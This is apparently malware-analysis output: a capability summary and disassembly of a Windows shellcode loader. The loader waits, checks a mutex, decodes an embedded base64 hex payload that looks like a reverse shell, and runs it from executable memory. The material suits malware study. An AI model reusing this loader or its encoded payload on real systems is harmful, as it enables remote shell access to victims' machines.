Function at 0x14000181b
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x5d8
lea rbp, [rsp + 0x80]
call fcn.140001d10
mov ecx, 0xea60
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea r8, str.fakeMutex
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov qword [rbp + 0x540], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
sete al
test al, al
je 0x140001881
mov ebx, 0
jmp 0x140001acc
lea rax, [rbp + 0x50]
lea rdx, str.ZmM0ODgzZTRmMGU4YzAwMDAwMDA0MTUxNDE1MDUyNTE1NjQ4MzFkMjY1NDg4YjUyNjA0ODhiNTIxODQ4OGI1MjIwNDg4YjcyNTA0ODBmYjc0YTRhNGQzMWM5NDgzMWMwYWMzYzYxN2MwMjJjMjA0MWMxYzkwZDQxMDFjMWUyZWQ1MjQxNTE0ODhiNTIyMDhiNDIzYzQ4MDFkMDhiODA4ODAwMDAwMDQ4ODVjMDc0Njc0ODAxZDA1MDhiNDgxODQ0OGI0MDIwNDkwMWQwZTM1NjQ4ZmZjOTQxOGIzNDg4NDgwMWQ2NGQzMWM5NDgzMWMwYWM0MWMxYzkwZDQxMDFjMTM4ZTA3NWYxNGMwMzRjMjQwODQ1MzlkMTc1ZDg1ODQ0OGI0MDI0NDkwMWQwNjY0MThiMGM0ODQ0OGI0MDFjNDkwMWQwNDE4YjA0ODg0ODAxZDA0MTU4NDE1ODVlNTk1YTQxNTg0MTU5NDE1YTQ4ODNlYzIwNDE1MmZmZTA1ODQxNTk1YTQ4OGIxMmU5NTdmZmZmZmY1ZDQ5YmU3NzczMzI1ZjMzMzIwMDAwNDE1NjQ5ODllNjQ4ODFlY2EwMDEwMDAwNDk4OWU1NDliYzAyMDAyMGZjYzBhODAxYjU0MTU0NDk4OWU0NGM4OWYxNDFiYTRjNzcyNjA3ZmZkNTRjODllYTY4MDEwMTAwMDA1OTQxYmEyOTgwNmIwMGZmZDU1MDUwNGQzMWM5NGQzMWMwNDhmZmMwNDg4OWMyNDhmZmMwNDg4OWMxNDFiYWVhMGZkZmUwZmZkNTQ4ODljNzZhMTA0MTU4NGM4OWUyNDg4OWY5NDFiYTk5YTU3NDYxZmZkNTQ4ODFjNDQwMDIwMDAwNDliODYzNmQ2NDAwMDAwMDAwMDA0MTUwNDE1MDQ4ODllMjU3NTc1NzRkMzFjMDZhMGQ1OTQxNTBlMmZjNjZjNzQ0MjQ1NDAxMDE0ODhkNDQyNDE4YzYwMDY4NDg4OWU2NTY1MDQxNTA0MTUwNDE1MDQ5ZmZjMDQxNTA0OWZmYzg0ZDg5YzE0Yzg5YzE0MWJhNzljYzNmODZmZmQ1NDgzMWQyNDhmZmNhOGIwZTQxYmEwODg3MWQ2MGZmZDViYmYwYjVhMjU2NDFiYWE2OTViZDlkZmZkNTQ4ODNjNDI4M2MwNjdjMGE4MGZiZTA3NTA1YmI0NzEzNzI2ZjZhMDA1OTQxODlkYWZmZDU
mov ecx, 0x99
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0x53c], 0x4cd
sub dword [rbp + 0x53c], 1
lea rax, [rbp + 0x51f]
mov qword [rbp + 0x520], rax
nop
nop
mov edx, dword [rbp + 0x53c]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140001430
mov rdx, rax
lea rcx, [rbp + 0x51f]
lea rax, [rbp + 0x30]
mov r8, rcx
mov rcx, rax
call fcn.140003a80
lea rax, [rbp + 0x51f]
mov rcx, rax
call fcn.140003450
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.140001bc0
lea rax, [rbp - 0x10]
lea rdx, [rbp + 0x10]
mov rcx, rax
call fcn.140001653
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400038c0
mov qword [rbp + 0x548], 0
jmp 0x1400019ac
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x548]
lea rdx, [rbp + 0x10]
mov r9d, 2
mov r8, rcx
mov rcx, rax
call fcn.140001c28
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140001c30
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_convert_l1_1_0.dll_strtoul
mov byte [rbp - 0x31], al
lea rdx, [rbp - 0x31]
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.140003800
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140001bb8
add qword [rbp + 0x548], 2
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.140001c38
cmp qword [rbp + 0x548], rax
setb al
test al, al
jne 0x140001946
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400031e0
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x530], rax
cmp qword [rbp + 0x530], 0
jne 0x140001a32
lea rax, str.Memory_allocation_failed.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call fcn.140001b80
mov rcx, rax
mov rax, qword [0x1400058f0]
mov rdx, rax
call fcn.140001c08
mov ebx, 0xffffffff
jmp 0x140001a9c
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400031e0
mov rbx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400037a0
mov rdx, rax
mov rax, qword [rbp + 0x530]
mov r8, rbx
mov rcx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rax, qword [rbp + 0x530]
mov qword [rbp + 0x528], rax
mov rax, qword [rbp + 0x528]
call rax
mov rax, qword [rbp + 0x530]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ebx, 0
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400038e0
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.140001bb8
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.140001bb8
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.140001bb8
mov eax, ebx
jmp 0x140001b47
add rsp, 0x5d8
pop rbx
pop rsi
pop rdi
pop rbp
ret